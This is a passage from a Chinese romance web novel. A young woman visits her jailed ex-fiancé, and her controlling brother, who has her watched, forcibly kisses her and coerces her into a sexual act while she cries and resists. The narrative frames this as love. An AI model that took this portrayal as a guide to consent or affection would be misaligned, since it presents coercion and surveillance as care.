“这样啊。”陆念安总算呼出口气,只是,当她侧眸看向躺在榻上的陆祈时,一颗心又重新紧张了起来。 卧房的每一处混乱,都无一不在提醒她昨日发生了什么。 明明有未婚夫,却和自己的哥哥共躺在一张榻上,简直乱透了才对。 她面色苍白,揉了揉眼就外走,哑声道:“我要回北院。” * 陆念安缓缓走回北院时,秋菊正在整理昨日换下的首饰和罗裙,忍了忍眼泪,秋菊忍不住埋怨起来:“小姐你去哪儿了,我都要担心死了。 ” 整夜未归,若不是知道暗处有人盯着她,秋菊差点就担忧到去找陆夫人。 “去找哥哥了,”双手被紧紧篡住,陆念安面色有些不自然地回答:“秋菊,我,我想换衣了。” 她还穿着昨日的寝衣,只云纱上染到了斑驳血迹。担忧过后,秋菊又注意到她面色苍白,忍了忍,到底是什么都没问。 沐浴以后,秋菊翻出一套新制的夏衣替她换上。 午后的光线尤为暖和,趁着现下宁静,秋菊本想开口问问昨夜之事。 陆夫人在这时推门走近。 昨日变故突然,陆夫人还有旁得要忙,今日得了空,便是过来解释了。 夏日炎炎,几个丫鬟端来冰和凉茶,随后将门合上。 陆夫人悠悠坐下,抬手湛了两盏茶,将其中一盏递去给陆念安,她叹声气:“念念,昨日委屈你了。” 凉茶冰镇过,正往外沁着冷气。陆念安接过茶盏放下,轻咳一声:“我想去刑狱司。” 听见刑狱司三字,陆夫人蹙起眉,神情变得有些复杂了:“可是你兄长告诉你了?” 怕她心里难受,陆夫人进屋以前,还酝酿着如何提起这事儿。现下见她知晓,又叹息一声:“知道了也好,念念,今日一早,我已帮你向周家退了婚事。” 天子亲自赐下的婚事,退婚本如同抗旨。 可周越现下被关在刑狱司,趁着这个风头将婚事退去,将来的新帝怕也不会多说什么。 陆夫人此举并非是攀权附势,只要两个孩子相处的好,即便将来的周家倒台,她也不会有半句怨言。 但科举行贿可从来都是大罪,不论是查出的考官还是学生,那可都是砍头的功夫。等新帝上位,指不定还要借着这件事杀鸡儆猴。 不怪她无情第一时间就将婚事退去,陆家家小,可承担不起太多责任。 “退婚?”陆念安重新捧起茶盏,寒意正透过皮肉往里沁,她显得茫然:“为何现下就将婚事退去,是已经查明白了吗?” “刑狱司一事,我到也不清楚……”陆夫人话音一转,安抚道:“念念,你还小,不懂先保全自己的道理,不论如何,现下将婚事退去才最为稳妥。” 陆念安摇摇头:“同亲事无关,我只是觉得,若周越是被冤枉的怎么办?” 陆夫人未想过冤枉二字。 周家背靠皇上,若非找到了实质性的证据,怕是无人敢关这位新晋探花郎。 怕她难受,陆夫人便没有直说:“冤枉就冤枉了,这天底下男儿多了去了,等过段时日,母亲便另寻一桩好亲事给你。” 陆念安眼眶忽得就湿润了:“不要。” 她头一次觉得,陆夫人根本就不理解她在说什么,摇摇头,只好又道:“我想去刑狱司里问一问他。” 这些年来,陆念安大多时候都是乖巧的。 偶尔有些无伤大雅的小脾气,不吵不闹,替她寻些小玩意,她便能乖乖呆上一整天。 这还是第一次,陆夫人从她口中听见这番强硬的话。 变故实在突然,她还是小姑娘,一时不能接受也能理解。 思及,陆夫人无奈之下点点头:“狱司里复杂,让你兄长陪你去如何?” “可是哥哥受伤了,”陆念安想了想,低下头:“我不想再麻烦他。” 说这话时,她面色又有些苍白了,陆夫人未注意到,只是眉头紧蹙:“受伤了?” * 马车驶过热闹的长街,逐渐来到一处偏远的巷子。 这是陆念安记事以后第一次来刑狱司。 从外看,狱牢之上只是一处平常的府邸,殿中身着蓝衫的狱卒走来走去,大家好像都很是忙碌的模样,没有一个人停留。 这般重地,陆念安不敢乱跑,她手中拿着陆府的令牌,乖乖站在原地等待。 过了好一会儿以后,终于有一个狱史朝她走来,态度卑谦道:“陆家小姐好。” 狱史姓王,人称一声王飞腿,恭恭敬敬地行完礼以后,他抬起眸,瞧陆念安身着锦绸云纱,虽带了面纱,但露出了清亮眼眸,一派大户小姐的模样。 王飞腿忍不住提醒一声:“陆小姐,这下面的天同上面,那可是两番模样,小姐要不……要不还是让身旁的人替你下去罢了。” 他是善意提醒,但见陆念安仍要坚持,王飞腿点头,带着她往外走向一间普通的小屋。 推开门,往下便是台阶了,在暗无天日的地下中,关押的都是些重犯。 下了台阶以后很黑,陆念安一手篡紧令牌,一手提着灯,勉强能适应。 走了片刻,终于到了地下。下头更是深黑,只远远点着几根蜡烛,光亮被无边黑暗吞噬,显得微弱极了。 “嘀嗒——嘀嗒”的水声落在耳旁,地牢深处,两侧铁制的门闪烁出冷硬寒光。迎面走来三个手拿火把的狱卒,不客气地将几人拦下:“狱牢重地,王飞腿你带这么多人下来是要劫狱?” “严重了严重了,”王飞腿拱起手摇了摇头,才对一旁的陆念安轻声解释:“小姐你也知最近宫里不太太平,上头还没主子,狱牢重地又被看管得严,这底下人看人下菜不好说话哇。” 一番协商后,王飞腿指了指陆家的令牌,几个狱卒才勉强将陆念安一人放进去。 越往里走,血腥气越浓厚。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第八十一章 越往里走,血腥气越浓厚。 陆夫人派来的暗卫都被扣下,陆念安只能孤身往前。 余光透过两侧的铁栏,牢中零零散散躺着几道人影,一动不动,就仿若死去了一样。 被养在深宅中的小姑娘,哪里见过此番场面。 陆念安被吓得不清,忙收回目光,小心翼翼地跟上几位狱卒。 这条路很长,不知走了多久,几个狱卒才停下来。 其中一个狱卒有些不耐烦地回头:“周越是吧,就是这儿了。” 听见这话,陆念安的害怕散了些,提起灯笼往前靠近。 面前是一方逼仄狭窄的牢房,深黑中光亮微弱,依稀瞧见地上摆着几个空碗和一些枯草,除此以外,便是什么也没有了。 将灯凑近了些,斑驳石墙潮湿,角落处生出了厚厚青苔,压抑里,周越脊背靠着石墙倒下,灰衫脏乱。 他好像晕了过去,双眸合上没有任何反应。 也许是已经见过他太多狼狈的时刻,陆念安并不觉他这副模样难看,只是更加难受。 她一时有些恍惚。 原来不知不觉中,她已经适应同周越的相处,所以此刻的难过才会如此真切。 他会……死吗? 陆念安眨了眨眼,眼中氤氲出泪水来,不知那是对死亡产生的恐惧,还是因为旁得什么。 这时靠在墙边的周越动了动,察觉到面前光线,他睁开眼,一双清明的眸子终于望向前方。 视线隔着铁栏遥遥相望,陆念安微怔,很快想起自己要问得话。 “探望的时间到了,”狱卒却根本没给她说话的机会,走上前厉声道:“地牢里关押的可都是重犯,现下京中混杂,我们也是依上头的指令办事,若出了什么岔子,弟兄们可都担当不起。 ” 他语气并不好,板起脸凶神恶煞地模样,陆念安忍不住往后缩了缩,轻声道:“只是说两句话也不可以吗?” 狱卒轻嗤一声:“这是朝廷命押的重犯,上头特意交代严加看管的人,怎能随随便便同外界接触!” 陆念安被他忽然拔高的音量吓得一颤。 见状,很快又走来一个稍矮些的狱卒,小声为难地打着圆场:“哥,陆家人的人,要不还是,” “陆家怎么了?” 陆府分家一事人人皆知,狱卒没当回事,挥挥手就敢陆念安往外走。 “我……”孤零零站在暗处,陆念安本还想说些什么,最终还是胆怯了。 临走前,她下意识回头张望,隔着混浊暗色,隐隐约约好像听见周越说了声什么。 * 领头的狱卒还有旁得事,没走几步便将陆念安忘却,上赶着去迎另一道身影。 来人看不清脸,什么话也没说,先将一个鼓鼓囊囊的荷包塞给狱卒。 狱卒放在手里掂了掂,顿时喜笑颜开起来:“这边走,嗯,一刻钟的时间,说些话当然没问题了。” 靠墙的一侧,陆念安站着未动,被丢下后,她第一时间有些委屈。 可她已经长大了,知道委屈也没用。 呼出口气,陆念安忍住不适,一边上前一边小声问道:“是因为约了旁人才想让我快些走吗?我也可以——” 她想说她也有银子,需要多少可以给他,但那狱卒还未听完话就恼羞成怒起来,抬手往外一推:“去去去,你怎么还没走呢?” 陆念安本就纤瘦,此刻被推得后退两步,脊背生生磕在石墙上。 夏日里衣裙单薄,锋利划破皮肉,痛感清晰。她闷哼了声,意识到自己微弱的力气,对眼前人来说根本不值一提。 抿起唇,陆念安不在多说什么,有些失望地转身往外走。 还是要去求哥哥吗? 她不可避免地冒出这个想法,一边向外走一边垂下眸子,显得沮丧极了。 死寂一般的地牢中,一切声音变得清晰,只是陆念安还沉浸在自己的思绪中,并未注意到眼前多出的两道人影。 脚步声渐近,几个狱卒最先察觉到,方才的气焰全部消散,此刻大气不敢出一声,死死低下头。 直到陆念安一头撞上了面前的黑衣男人。 手中灯笼摔落在地,她捂住额头,在痛感加重的瞬间,有些艰难地抬起眸。 光影明灭,眼前男人完全藏匿于暗色中,看不清神色。 耳边又传来“嘀嗒”“嘀嗒”的水声,断断续续,加重了地牢中的潮湿。 陆念安感受到男人带着冷意的目光落下,刚有些害怕,她却嗅到一股熟悉的气息,慢慢屏住呼吸。 她早该知道的。 书册上那些密密麻麻的小字,整齐排列于一起,她的一举一动,她的每一句话,她同谁在接触……像蛰伏于暗处静静凝视猎物的猎人,陆念安没办法不害怕。 陆念安想,这世间任何一个人瞧了,也都会感到害怕的。 忍不住呢喃一声:“又再让人跟着我吗?” 这声音尤为微弱,几个狱卒没有听清,只以为她惊扰了哪位大人,此刻硬着头皮上前。 火把的光芒压过黑暗,领头的一眼看见司狱长躬腰跟在后方。 刑狱司虽不大,能让司狱长这般卑微奉承的人物,狱卒还没见过几个,目光不由得落去前方。 萦绕在黑衣男人周身的气势凌厉,带着久居高位的冷漠,让人不寒而栗。 领头的一眼也不敢多看,忙对着身后的狱司卑微道:“不知张大人今日带了贵客前来,惊扰了惊扰了,我马上将人带出去。” 他说着,一手就要将陆念安扯过。 比起此刻就被赶出去,那点恐惧好像也算不上什么,陆念安忙上前一步,紧紧扯住陆祈的袖子,大声道:“哥哥。” 女声清脆,熟稔到仿若将这二字唤过千万遍,于是方才说话的狱卒一僵,小心去看陆祈的反应。 陆祈没有推开她,那狱卒便被吓得一连退后几步。 见状,陆念安好像尝到了什么甜头,小心翼翼又凑得更近了些。 她整个人黏在陆祈身侧,像只找到主人的幼鸟,迫不及待诉说飞出笼外的所遇,从被狱卒争对到受伤,无一例外全盘托出。 好半响后,陆念安终于停了下来,缓缓看向陆祈,深黑中,她眸中闪烁着的晶莹泪花晃眼。 这般可怜的目光,是想让他心疼吗? 陆祈抬手缓缓落在她肩侧,本就相隔甚近的两个人一瞬贴近,他垂下眼眸,将她绕进怀中。 他静静凝视着那抹伤痕,被碎石划破,并不深,溢出了些血丝。 陆祈眼眸微眯,一边检查她的伤口,一边顺着她往下回答:“这样啊,那阿念想要怎么办呢?” 太近了。 这般近得距离,呼吸融在脖颈,几乎是瞬间,陆念安就想到昨夜的拥抱,一动也不敢动。 连说话也开始变得磕绊道:“我,我觉得……” 撕开云纱,经年不见光的地方更为娇嫩,于是那抹伤痕开始变得突兀、刺眼。 “他碰你哪儿?”摔落在地的宫灯光芒微弱,半明半暗里,映出他病态沉冷的面孔,平静下泄露出几分漠然的危险。 “已经不疼了,”陆念安摇头,忙后退两步,她神色明显闪躲起来,看向一侧的狱卒:“我现在可以同周越说些话吗?” 那狱卒都被吓傻了,点头如捣蒜,当即就接到:“当然可以了!” 话音刚落,陆念安再度后退两步,刻意忽略身后之人,轻声道:“走吧。” * 领头的狱卒停下,不知不觉中竟冒出浑身冷汗,他擦了擦额。 这才意识到自己得罪了谁,抱着想要弥补的心,狱卒殷勤翻找出钥匙来,颤抖着手将眼前的铁门打开:“陆小姐,快请进快请进。” 牢中血腥气尤为厚重,走近了,才觉地上的星星点点皆是血渍。 灰色人影倒在角落,重新昏迷过去。 陆念安脚步仓促了些,往里走的同时,陆祈站在一门之隔外,静静端详着她的身影。 开门的狱卒已经收好钥匙,一边退后一边还对陆祈讨好地笑了声。 陆祈也没什么反应,身着的黑衣越发衬得他冷肃。 在陆念安蹲下身同周越交谈之际,司狱长张生也嗅到了那抹血腥气,看向他担忧开口:“陆大人,王太医方才叮嘱您的伤……” 第82章 第八十二章 蹲下身的同时,手中小灯被稳妥放好。 周越的一张脸终于得以清晰,灰衫褴褛,破败的有些不堪。但当他睁开眼,一双眸是与之相反的清明。 陆念安隐隐有些焦躁起来:“周越,你没事吧?” “陆姑娘?”他受过刑,声音变得沙哑,怔了片刻后,有些意外地自嘲一声:“不是梦吗?还以为是我看错了。” “昨日,”陆念安一着急就有些磕绊,艰难道:“昨日你未来,母亲同我说是……你贿赂考官。” 说最后四个字时,她语调尤为轻,陆念安凑近了些,又忙道:“但我觉得你不是这样的人。” 她带着纯善的声音落下,周越侧身避了避,道:“脏。” “没关系的,我不怕脏,”裙摆散落在湿濡潮湿的地下,陆念安浑然未觉,小心翼翼地再一次问道,更是确认:“周越,你没有做过的,对吗?” 牢中逼仄压抑,经年未处理的血迹斑驳,散出恶臭的气味。而会用香的医师,嗅觉往往比寻常人更为敏锐。 周越已被关了两日,这般恶臭,时时刻刻拉扯着他的神经。直到这一刻,压抑之下散开的甜香,才让他重新意识到自己还能呼吸。 陆念安半蹲在角落,灯笼立在她身侧,映出细腻奢华的轻纱,她一张脸同样沐在光中,也变得明晰。 巴掌大的脸,鼻尖小巧秀气,此刻紧蹙着眉,神色担忧。 她同这间牢房格格不入,稚气的神色,让人连欺骗的话都说不出来。 周越低下头:“若是我骗了你呢?” 他沉默的态度本就让陆念安心神不宁,现下听见这话,她更无措了,迷茫眨着眼,连话都说不出一句来。 “抱歉,”周越垂眸,笑了神:“虽是骗了你,但好在未让你失望,我的确未做过。” 陆念安已经自动忽略了那个骗字,呼出口气:“我就说你没有了,我……” 没等她说话,眼前落下一片影,将她整个人笼在其中。 来人语调冷漠:“欺君之罪,远比贿赂考官罪加一等。” 不知何时,身后站着的狱卒已经全然散开。 陆祈半弯腰将陆念安拉起,长指落在她衣衫,随意扫开那抹尘灰,淡声提醒:“阿念,他骗了你。” “身份是假,姓名是假,顶替周三公子接近你,阿念觉得,他是何居心?” 说这话时,陆祈始终很平静,仿若现下不留余地直戳要害的人不是他。 “你在说什么?”陆念安还沉浸在喜悦里,一下子如坠冰窖般,她仰起头陌生道。 陆祈却没有回答,安抚地扶了扶她的发,轻叹一声:“看也看了,问也问了,折腾了半日,也该跟我回家了。” 自始至终,他都没有看角落里的周越一眼。 陆念安六神无主地跟着他离开,隐约间她明白了什么,于是连问一问周越的勇气也没有。 抬步,往前是寂静幽深的长廊,出了这间屋子,以后应该很难再有机会回到这里了。 想到这里,陆念安慌乱地回头看一眼,周越却避开了她的目光。 忍不住停下来,握住她手腕的力道一瞬加重,生生拽着她往外走。 * 马车行驶在寻常街道,锦绸制得车帘被掀起,车内明亮,小案上放着个白瓷釉香盒。焚烧着的线香散出清雅,压过车内那抹浅淡的血腥气。 这几日变故好像特别多。 陆念安还未从方才那话中回神,目光呆愣极了。 陆祈握住她腕的手紧了紧,目光幽深:“心疼他?” 陆念安还未回过神,听见这话,就愣愣点头。 “他骗了你。”于是陆祁淡声提醒她,平静之下,额上却隐隐鼓起了青筋。 “我知道的,”陆念安仍旧点头,也正是因为这样,她神情越来越迷茫了:“哥哥,你说这是喜欢吗?” 陆念安感受到一具鲜活的生命,正在自己眼前缓慢流逝。 这感觉有些奇妙,心被紧紧揪住,即便知道他并非完全纯善,可她还是因为他感到了难过。 “我知道他骗了我,可我还是很难过,是因为喜欢吗?”她毫无防备地问道,语调渐渐转变为请求:“可是,可他的确也没有贿赂考官,哥哥会有办法将他救……” 马车这时停下了,陆祁猛得拽紧她的腕,不由分说地将人揽进怀中,于是她还未说出口的话转变为一声惊呼。 陆祈抱起她下了马车。 突生变故,陆府内很清净,丫鬟们都好生呆在屋中没有乱跑。 诺大的宅院里,便只余下几个清扫的丫头,四下无人,几人手中拿着扫帚将落叶堆叠于一起。 抬起眸,便见一袭黑衣的陆祈抱着谁走来,面容晦涩难辨,步调极快。 明明还隔着很长一段距离,那股低气压却像是席卷而来,压得人完全透不过气。 丫鬟们以往虽是惧陆祈,却只是对家主之惧。 回忆起京中不论是谁谈及陆将军或是陆祈,都是称赞的,称赞父子两一心为了大景,是难得的好官。 在陆家做事以后,发现大家所言也并无出入。陆家人从不会随意惩戒谁,陆祈就更是平静了。 眼前这一幕开始变得陌生,几个丫鬟死死低下头,大气不敢出一声。 直到那抹暗色走远,一个丫鬟无力地靠着身后红柱,低低问道:“方才,方才公子抱在怀中的是小姐吗?” 话音刚落,手拿扫帚地丫鬟瞪她一眼:乱说什么呢?离了陆家我们上哪而去找这么好的主子!” * 一路到西院,卧房的门被踢开。屋内沉寂极了,陆念安还在挣扎,对未知地恐惧已经到达极点。 “放开……” 她用尽力气,不安在他怀中乱动,打他拍他,可都像是徒劳,不论她用什么手段,都被全然压下,越挣扎被收得越紧。 陆念安生得太娇小了,两人之间悬殊的身高差距,使得陆祈完全不用费力,单手就压下她所有抗拒。 连她自以为用得狠劲,落在陆祈眼中,也不过是不痛不痒地撒娇。 他只是觉得有些吵闹。 比起她用力拍打在肩侧的力道,伤口撕裂的痛感,当她的哭声夹杂着眼泪落下时,更让他焦躁。 微怔片刻,陆祈大掌落下,拍了拍她的臀,怀中人终于得以片刻安分。 却也只是一瞬。 平静过后,陆念安更为激烈地挣扎起来,像是知道方才都只是无用功,她扒开陆祈的衣领,狠狠咬下去。 同样用足了力气。 幼齿狠狠刺破皮肉,陆祈未动,反而轻抚了抚她的发,压着她后脑往怀里送。 在这丝纵容下,她咬了许久许久,直到红唇都麻木了,陆念安尝到鲜血和眼泪的味道,又咸又涩,才怔怔松开。 闹过以后,她平静下来,抬起眼眸,撞进一对深黑沉静的眸子中。 那里面压抑了太多情绪,不加掩饰的欲念浓稠而粘腻,她浑身一僵。 陆祈却缓缓移开了眸子,抱着她走到塌边放下。 终于得以呼吸,陆念安软塌塌靠着榻,见陆祈侧身走到高柜旁,着黑色的身影修长高大。 昨夜的脆弱果然是错觉,褪去掉那抹温和,他重新变得令人难以窥察。 陆念安看不懂他。 只知道,这不是喜欢,比起认为兄长喜欢他,她觉得这更像一种控制。 思绪混乱间,陆祈捏着个瓷盒走来。 扫了一眼榻,他欺身压下,半环住她,一边打开瓷盒,一边轻触上她后背的伤口。 药膏泛着浅浅的绿色,抹开以后有些凉意。陆念安缩了缩,闷声问他:“可周越说他没有贿赂考官,真的不能,真的不能放了他吗?” 陆念安心知此刻绝不是说这话的好时机,可对未知的恐慌,让她不得不在此刻恳求:“哥哥,我知道你会有办法的,以前不论有何事,你都有办法的。” 哭了半响,陆念安见他沉默,再一次确认:“所以他会死吗?” 抹开最后一点药膏,陆祈收回手时隐隐有些颤抖。 往日的平静彻底消散,他双眸有些泛红,将手中瓷罐扔下。 陆念安被吓了一跳,下意识就要逃走,双肩却被一双大手压下来。 “阿念,他在觊觎你,”四目相对,他语调更为漠然,冷得瘆人:“他在觊觎你,你却要让我徇私枉法放了他?” “没有的,”陆念安摇摇头,小声反驳:“我只是不想让他死……” 红唇一张一合,她在说什么?陆祈的视线已经有些模糊了,听不清,看不见。只是不论说什么,他都不想让她继续说下去。 捧住她的脸颊,陆祈凑近,一个带着十足侵略的吻落下。 一开始,他只是不想听见她的声音,可当尝到她柔软的唇齿,他呼吸渐渐混乱起来,加重了这个吻。 骨指捏住她的下颚,迫使她张开唇来,他喜欢听她被吻到喘不过气时,破碎的呜咽声。 十足甜腻的蜜桃,成熟以后变得很软,被撕开薄薄果皮,陆祈将她抱进怀中,勾着她的舌尖搅动,将她搅得烂糊糊往下流水。 只是一个吻,陆念安却觉得自己快要死了一样,被大手放开时,她已经浑身无力,虚脱般倒进男人怀中,嫣红的唇半张,她娇媚地低吟了声。 脖颈已经汗津津了,缓了片刻,陆念安半睁开眼,眸中湿漉漉的,这般可怜地模样,总让人更想欺负她了。 她浑然未觉,无力地抬起指尖,欲想要推开眼前的人。 陆祈抬起手同她十指相扣,轻琢了琢她的唇边,将她唇边吮干净:“阿念好甜。” 陆念安又哭了起来,用眼泪无声地抗拒着这一切,扭动着想要逃开。 不只是吻,连拥抱都强硬到让她很不舒服。 扭腰动了动,忽得碰上了什么坚硬,熟悉的热度同昨夜相似,隔着黑色锦绸,压得她更为难受。 陆念安没反应过来,只听见耳边落下一声轻喘,陆祈垂下眼眸,缓缓将脸埋进她汗津津的脖颈。 好像意识到什么,她僵硬住,随后小浮度挣扎起来,却让埋进她脖颈的人更为兴奋,哑着声音道:“阿念真的不喜欢吗?明明亲你的时候,你也张开唇了……” 一句话将她问住,陆念安泪眼婆娑,可怜巴巴地想要避开,却发觉自己柔弱的手背,正被一只大掌覆盖住。 剩下的时间变得漫长极了,连反抗都成了纵容,她憋红了脸,掌心越来越湿濡。 陆祈轻笑起来,忽然好心情地同她提起白日之事:“在牢中之时,当着几个狱卒的面,可是在利用我?” “嘶——恼什么?” “不是已经让你利用了吗?什么时候学会恩将仇报了,真是……”陆祁垂下眸,遮掩住眼底深沉。 掌心湿濡感加重,变得粘腻极了。 男声随之落下,强硬道:“阿念,这才是喜欢。” * 回到北院后,陆念安第一时间是让秋菊备水沐浴。 “小姐不是昨夜才净过身子?”秋菊虽有些疑惑,但还是照常备水,往水中加了些她喜欢的茉莉精油。 陆念安将整个身子蜷缩进水中,眼前热气浮动,她抬手接过装精油的琉璃瓶,扔掉瓷盖,摊平掌心,将茉莉精油全倒进手心里。 “小姐?”秋菊一个出神,等再要阻拦时,那精油瓶已经全空掉了。 她无奈地接过空瓶子,恼道:“真是要让人时时刻刻看着你才好,用这般多,好在我混了玫瑰露,不然灼烧了手可怎么办?” 陆念安抹开精油,细眉紧紧蹙起,在水中反复净了净手,随意扯出一个理由,娇气道:“地牢中全都是血腥的味道,都将我染臭了!” “怪不得。” 秋菊理解了几分,转身拿了个匣子进屋:“我瞧瞧,春日里采得花露还余下许多,有玫瑰、桃花、栀子……小姐喜欢什么?” “都,都要。” 明明已经净过手,那股粘腻感却仍然存在,连带着他的声音同样清晰。 真的不喜欢吗? 陆念安也这样问自己,愣了愣,直到秋菊将玫瑰露送过来,她抿起唇。 当然不喜欢。 * 沐浴以后,又换了身熏过香的寝衣,陆念安终于得以放松。 见她闷闷不乐,秋菊端来冰碗,问道:“今日去牢中,小姐可有什么收获?” 瓷碗上里是色泽艳丽西瓜,被冰镇过,很甜腻。陆念安一口气用了小半碗,她什么也没说,只是失落摇头。 秋菊明白她因何不对劲,但变故已经发生,无论如何,都是没有法子回归原样的。 今日早时,陆夫人特意叮嘱丫鬟们照顾好小姐。 秋菊有些担忧,守着她用完那冰碗,安慰道:“小姐也别难受了,明日柳夫人要来府上玩,说是还给你带了一个惊喜呢!” 陆念安放了瓷碗:“柳姨要来?” 秋菊点头:“对,一听说你难受,便特意要过来看看你。” 这消息勉强冲散了些烦闷,但陆念安脑袋仍旧乱乱的,将自己缩进软被中裹好,不再说话。 用过药后,这一觉睡得很沉,陆念安还做了个梦。 只连梦也是乱得,她梦见周越死了自己很难过,刚要哭出来,耳边却落下森冷男声,一边凶狠地咬着她,一边道:“再哭就把你也杀了。” 陆念安直接被吓醒了。 她睡了许久,天已经完全亮了,暖光落在海棠树常青的叶上,院中一片生机盎然。 秋菊进屋换冰,偶然瞥见她睁开眼,笑:“小姐可算是醒了,想食些什么?” “还不饿,”陆念安摇摇头,思绪慢慢回归,她坐起身,打了个哈欠,又揉揉眼:“柳姨来了吗?” 秋菊将冰放下:“一大早便来了,在千山宛陪着陆夫人。” “等很久了?”陆念安虽是混乱了些,但还没忘该有的礼数,忙掀开薄被,双脚落地,她略显着急:“我去换衣。” “不急,是夫人特意吩咐过了,先让你好好睡呢。” 退婚一事尘埃落地,怕她想不开,陆夫人这才唤好友过来做客。 千山宛内和睦,屋中放了好些冰,丫鬟们轮流扇风,将那抹凉意散到屋中的每一处。 陆夫人看了看身旁好友,又看了看端坐在一侧的白衣公子,咬着牙轻声怒道:“乐敏,我让你过来陪陪阿念,你把我干儿子带过来干什么?” 在好友面前,她语调完全没了当家主母的沉稳:“你知不知道我家念念昨日才退婚,你现下整一出,是生怕陆府里还不够乱吗?” “啊?”柳乐敏佯装听不懂的模样,无辜道:“你同我说念念退婚了让我来陪陪她,我还以为,还以为你是看上我家艾艾了。” 陆夫人:“……” 柳乐敏捻起团扇替她扇了扇风,笑道:“陆娘你降降火气,这副模样,我还以为我家艾艾将念安拐跑了。” “总归婚都退了,还有何担忧,还是你根本不想同我做亲家!” “别添乱了。”陆夫人推开她的团扇。 要说另寻一桩婚事,同柳夫人知根知底多年,若能结为亲家,她当然不失欢喜了。 可现下方才退婚,陆念安也还未从悲伤中走出,若上赶着就定下另一桩婚事,陆夫人是怕孩子生出逆反之心。 于是柳乐敏唇边的笑容凝固住:“这样啊,我怎么没想到呢,若念安讨厌我儿了该怎么办?” 思及如此,柳乐敏看向一侧的白衣少年,大声道:“没你的事了,你快回去。” 方艾本就是被母亲拉来陆府的,等了半响等到这句话,他求之不得地站起身:“走就走。” 见他这副懒散模样,柳乐敏恨得紧紧捏住团扇:“唤你干妈了吗?” 闻言,方艾才站直了,又躬下腰,敬道:“干妈再见,小儿改日再来拜访您。” 陆夫人就喜欢这般生气的少年郎,直笑起来。 方艾转身离开了屋子,热气浮动,他看了眼屋外的炙阳,有些烦躁地皱起眉:“什么鬼地方。” “小姐,真不急的。” 迎面跑来两道影,擦身而过时,方艾嗅到一股甜香,隐隐驱逐了些热夏的浮躁。 陆念安跑了一路,双颊憋得红扑扑的,进屋以前,她停在屋外缓了缓,摇头道:“还是要……要快些的。” 今日本着做媒的意思,柳乐敏不光带来了自己的小儿,又硬将自己的妯娌也拉来了。 二房是青州一代的富商,此番来京中进些货物,要留半月有余。 柳乐敏性子急,她这个弟媳却是稳重,将人拉来,是想说错话时让她圆圆场。 本着这个注意,在陆念安笑着讨要惊喜时,柳乐敏看了看自己小儿的空位,视线挪到一旁的弟媳身侧,灵光一闪。 柳乐敏很快牵起陆念安的手走去,和蔼道:“来,念念你还未见过你兰姨吧,快来瞧瞧。” “兰姨?” 陆念安自然是疑惑,但还是抬起头,对眼前这位长辈笑了笑。 她有些怕生,只敢盯着兰姨裙摆上的繁复绣纹看,又乖巧开口:“兰姨好。” “来,抬起头看看,”柳乐敏捏了捏她的手:“这便是惊喜了,你兰姨是我妯娌,这些日子呀,她总听我夸你,于是有些好奇,总吵着要来陆府瞧瞧是哪家姑娘这样乖巧,我便只好也将她带来了。” 听见这话,陆念安忽然也生出了几分好奇,目光慢慢从那绣纹上挪开。 孟兰因也顺势低下头看她。 不知怎得,虽是第一次瞧见这个小姑娘,她却感受到一股亲切感,眼眸弯起来:“你就是念安?” 青州人性子急,她说起话来,却是不疾不徐,柔柔道:“生得真是讨喜,不怪柳姐姐总是夸你。” 陆念安被她夸得有些不知所措,轻声开口:“兰姨好。” 午后暖光倾斜散尽屋内,落下一片明亮,陆念安同孟兰因面对面站着,碰巧身着一样的青绿色。 “这么一瞧,兰因同念安长得还有些相似……”柳乐敏呢喃了声,很快将这话抛之脑后:“念安还未用过膳吧,今日来,你兰姨给你做了些青州的点心。” 第83章 第八十三章 夏日里暑气重,轻纱似的裙摆被微风拂起,几个丫鬟排开,依次放下手中的鎏金小炉、玉盘、冰碗。 孟兰因轻挽起袖子,一双素手抬起,青竹夹稔起香炭放进炉中。小炉上架着个精巧的浅口白罐,罐中,雪白的糖粒被灼热慢慢融化,冒起来许多小泡。 虽是水乡里长大,青州人的脾性却普遍要急一些。陆夫人也不例外,在青州时尚且还能静下心捣鼓这些,可自打来了上京,她便是再未折腾过。 当下看着孟兰因熬糖,一时有些感慨。 于是等待的间隙,陆夫人侧眸看向陆念安,轻笑着逗她:“念念见着这点心,可有觉得稀奇?” 虽说是点心,但桌上摆着的几个碗到都和冰有关,若非从前食过,第一次见大抵是要懵头的。 陆念安望了片刻,垂眸见那糖已被烧得泛红,她手执银筷稔起冰镇樱桃放进罐中,裹上一圈糖色后樱桃有些湿濡。 但只要从冰碗中过一圈,那湿濡便凝结成糖衣,轻磕了磕,很是清脆。 除此以外,几案上还放着两个玉盘,分别盛着红绿两种粉末,色泽鲜亮。 日光明了,陆念安站在案前,纤长眼睫落下一片影,她神色认真,没有犹豫地抬起手中银筷,将那樱桃先丢进红玉盘中滚半圈,再丢进绿玉盘里,动作熟稔。 “好像是这样没错,”呢喃着,陆念安抬眸看向陆夫人,清澈明亮的眼眸在光下像是琥珀,她笑起来:“母亲可是记错了,从前应是带我见识过的。” “是吗?”瞧这一番动作下来,陆夫人也不敢确定了,思索自己是不是忘了些记忆。 上京喜用山楂裹糖,口味酸甜,青州的糖果子却是要十分甜才好,冰镇后还需裹上两种香料,红的是玫瑰粉,绿的是茉莉雪芽粉,最为地道的食法是先红后绿。 没等陆夫人思索出什么来,柳乐敏同孟兰因上手将剩下的樱桃也裹好。小炉旁散出热气,丫鬟们又端了好些冰进屋,几人便围坐于在一起。 三个长辈都是青州人,闲聊间不免会谈及家乡,陆念安便静静听着,听得多了,她生出几分好奇:“怎日日都走水路,去茶馆也要坐船吗?” “是呐,”多年未回清州,陆夫人记忆模糊,有些怀念:“我记得那会儿,整条巷子都被淹没在水下,也不知现在如何了。” 三人里只剩下孟兰因还住在青州,她默默接过话头 :“现在大抵算是好些了,只余下半条巷子还在水里,街角那家糖点铺便挪去了北街……” 她说话慢,一字一句都带着股韵味。 不知不觉便聊到了日落时分,冰块渐融,方家的马车停在陆府门前,陆夫人有些意犹未尽地起身送人。 临走前,孟兰因抬起腕,腕上松松垮垮挂着个白镯子,通体莹润。 悠悠将镯子从腕上取下,孟兰因走到一侧,将这镯子递给发呆的陆念安,柔声道:“今日来得匆忙,也未准备什么,想着头一次见面是该备些礼的。” 递过来镯子沐在光下,水头极好。 陆念安一时无措,因为不知能不能接,迷茫间她抬眸看向陆夫人。 “喜欢便收着吧。” 直到陆夫人点头后,陆念安才欢喜地将那镯子接过,又甜滋滋唤了声孟姨。 见状,陆夫人朝好友点点头,叹道:“你这妯娌还是个好相处的。” * 秋菊推门而进时,陆念安正倒在美人榻上。 